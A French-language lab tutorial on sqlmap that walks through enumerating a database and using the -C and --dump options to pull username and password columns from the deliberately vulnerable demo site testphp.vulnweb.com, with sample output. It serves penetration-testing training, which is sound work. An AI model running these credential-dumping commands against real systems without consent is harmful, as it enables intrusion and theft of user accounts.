Introduction
Dans ce laboratoire, vous apprendrez à utiliser sqlmap, un outil open-source de test d'intrusion, pour automatiser le processus de détection et d'exploitation des failles d'injection SQL et de prise de contrôle des serveurs de bases de données. Plus spécifiquement, nous nous concentrerons sur la manière d'extraire des données de colonnes spécifiques au sein d'une table connue. Il s'agit d'une tâche courante en test d'intrusion et en audit de sécurité, vous permettant d'extraire uniquement les informations pertinentes dont vous avez besoin, plutôt que de vider une table entière. Vous vous entraînerez à identifier la base de données, la table et les colonnes cibles, puis à utiliser l'option -C de sqlmap pour spécifier les colonnes souhaitées pour l'extraction de données.
Identifier la base de données, la table et les colonnes cibles
Dans cette étape, vous apprendrez à identifier la base de données, la table et les colonnes spécifiques à partir desquelles vous souhaitez extraire des données. Avant de pouvoir extraire des données, vous devez savoir ce que vous recherchez. Dans un scénario réel, ces informations seraient généralement collectées lors d'étapes d'énumération précédentes à l'aide de sqlmap (par exemple, lister les bases de données, les tables et les colonnes). Pour ce laboratoire, nous supposerons que vous avez déjà identifié les éléments suivants :
- URL cible :
http://testphp.vulnweb.com/listproducts.php?cat=1(une URL vulnérable connue à des fins de démonstration) - Base de données :
acuart - Table :
users - Colonnes d'intérêt :
uname(nom d'utilisateur) etpass(mot de passe)
Ces détails sont cruciaux pour construire la commande sqlmap précise afin d'extraire uniquement les données dont vous avez besoin.
Pour simuler l'énumération initiale, vous auriez pu exécuter des commandes comme celles-ci (il n'est pas nécessaire de les exécuter dans ce laboratoire, car nous fournissons les détails de la cible) :
Pour lister les bases de données :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
Pour lister les tables dans la base de données acuart :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
Pour lister les colonnes dans la table users de la base de données acuart :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
Pour ce laboratoire, nous allons procéder directement à l'extraction de colonnes spécifiques, en supposant que l'énumération ci-dessus a été effectuée.
Utiliser l'option -C pour spécifier les colonnes à extraire
Dans cette étape, vous apprendrez à utiliser l'option -C dans sqlmap pour spécifier les colonnes que vous souhaitez extraire. Cette option est essentielle pour une extraction de données ciblée, vous permettant de récupérer uniquement les informations pertinentes et d'éviter les données inutiles.
La syntaxe pour utiliser l'option -C est simple : vous fournissez une liste de noms de colonnes séparés par des virgules immédiatement après l'option.
Pour notre exemple, nous voulons extraire les colonnes uname (nom d'utilisateur) et pass (mot de passe) de la table users dans la base de données acuart.
Le fragment de commande sqlmap intégrant l'option -C ressemblerait à ceci :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"
Décomposons les composants de cette commande :
-u "http://testphp.vulnweb.com/listproducts.php?cat=1": Spécifie l'URL cible vulnérable à l'injection SQL.-D acuart: Spécifie le nom de la base de données (acuart) à partir de laquelle extraire les données.-T users: Spécifie le nom de la table (users) dans la base de donnéesacuart.-C "uname,pass": C'est la partie cruciale. Elle indique àsqlmapde ne considérer que les colonnesunameetpasspour l'extraction des données.
Ce fragment de commande n'est pas encore complet pour l'extraction des données, mais il démontre comment spécifier correctement les colonnes souhaitées. Dans l'étape suivante, nous ajouterons l'option --dump pour lancer l'extraction réelle des données.
Utiliser l'option --dump pour lancer l'extraction des données
Dans cette étape, vous découvrirez l'option --dump, qui est utilisée pour lancer le processus réel d'extraction des données avec sqlmap. Alors que l'option -C spécifie quelles colonnes extraire, l'option --dump indique à sqlmap d'effectuer l'opération d'extraction des données.
Lorsqu'elle est combinée avec l'URL cible, la base de données, la table et les spécifications de colonnes, l'option --dump demande à sqlmap de récupérer les données des colonnes spécifiées et de les enregistrer.
La commande sqlmap complète pour extraire les colonnes uname et pass de la table users dans la base de données acuart serait :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump
Examinons la commande complète :
-u "http://testphp.vulnweb.com/listproducts.php?cat=1": L'URL cible.-D acuart: Le nom de la base de données.-T users: Le nom de la table.-C "uname,pass": Les colonnes spécifiques à extraire.--dump: L'action à effectuer – extraire les données.
Cette commande demandera à sqlmap de trouver des vulnérabilités d'injection SQL à l'URL donnée, et si cela réussit, d'extraire les données des colonnes uname et pass de la table users dans la base de données acuart. Les données extraites seront généralement enregistrées dans un fichier CSV dans le répertoire de sortie de sqlmap.
Exécuter la commande d'extraction de données
Dans cette étape, vous exécuterez la commande sqlmap complète pour extraire des données des colonnes spécifiées. Cela simulera un scénario d'extraction de données réel.
Ouvrez votre terminal dans le répertoire ~/project et exécutez la commande suivante :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump
Sortie attendue :
sqlmap effectuera d'abord divers tests pour détecter les vulnérabilités d'injection SQL. Si cela réussit, il procédera ensuite à l'extraction des données. Vous verrez une sortie similaire à celle-ci (la sortie exacte peut varier en fonction de la version de sqlmap et de la réponse de la cible) :
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r19000)
[!] avertissement légal : L'utilisation de sqlmap pour attaquer des cibles sans consentement mutuel préalable est illégale. Vous êtes responsable de vos propres actions.
[!] sqlmap est un outil destiné uniquement aux professionnels de la sécurité informatique.
[INFO] démarrage @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/
... (divers messages de détection et d'exploitation) ...
[INFO] récupération des colonnes 'uname,pass' pour la table 'users' dans la base de données 'acuart'
[INFO] 10 entrées récupérées
Database: acuart
Table: users
+----------+----------+
| uname | pass |
+----------+----------+
| test | test |
| admin | admin |
| john | doe |
| ... | ... |
+----------+----------+
[INFO] la table 'acuart.users' a été extraite dans le fichier CSV '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] terminé @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/
Portez une attention particulière à la ligne qui indique où les données ont été extraites (par exemple, la table 'acuart.users' a été extraite dans le fichier CSV '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'). Ce chemin est important pour l'étape suivante.
Remarque : sqlmap pourrait vous poser quelques questions pendant le processus (par exemple, sur la poursuite d'autres tests, ou si vous souhaitez stocker des sessions). Pour ce laboratoire, vous pouvez généralement appuyer sur Entrée pour accepter la valeur par défaut ou sur n s'il vous demande de sauter des tests approfondis.
Localiser et examiner les données extraites dans le fichier de sortie CSV
Dans cette dernière étape, vous localiserez le fichier CSV où sqlmap a enregistré les données extraites et examinerez son contenu. sqlmap organise sa sortie dans un répertoire structuré, généralement sous ~/.local/share/sqlmap/output/.
Sur la base de la sortie de l'étape précédente, naviguez vers le répertoire où le fichier users.csv a été enregistré. Le chemin sera similaire à /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.
Tout d'abord, naviguons vers le répertoire de sortie de sqlmap. Le chemin exact peut varier légèrement en fonction de votre version de sqlmap et de la cible, mais il suit généralement le modèle : ~/.local/share/sqlmap/output/<domaine_cible>/dump/<nom_base_de_données>/.
Pour notre exemple, le chemin est probablement /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.
Utilisez la commande ls pour lister le contenu de ce répertoire :
ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/
Vous devriez voir users.csv (et potentiellement d'autres fichiers) listé.
Maintenant, utilisez la commande cat pour afficher le contenu du fichier users.csv :
cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv
Sortie attendue :
La sortie affichera les colonnes uname et pass, chaque ligne représentant une entrée de la table users.
uname,pass
test,test
admin,admin
john,doe
...
Cela confirme que sqlmap a réussi à extraire uniquement les colonnes spécifiées, démontrant ainsi l'efficacité de l'option -C pour l'extraction ciblée de données.
Résumé
Dans ce laboratoire, vous avez appris avec succès à extraire des données de colonnes de table spécifiques à l'aide de sqlmap. Vous avez commencé par comprendre l'importance d'identifier la base de données cible, la table et les colonnes. Ensuite, vous vous êtes entraîné à construire des commandes sqlmap en utilisant l'option -C pour spécifier les colonnes souhaitées et l'option --dump pour lancer l'extraction des données. Enfin, vous avez exécuté la commande et vérifié les données extraites dans le fichier de sortie CSV généré. Cette approche ciblée est cruciale pour une récupération de données efficace et précise lors des tests d'intrusion et des évaluations de sécurité.


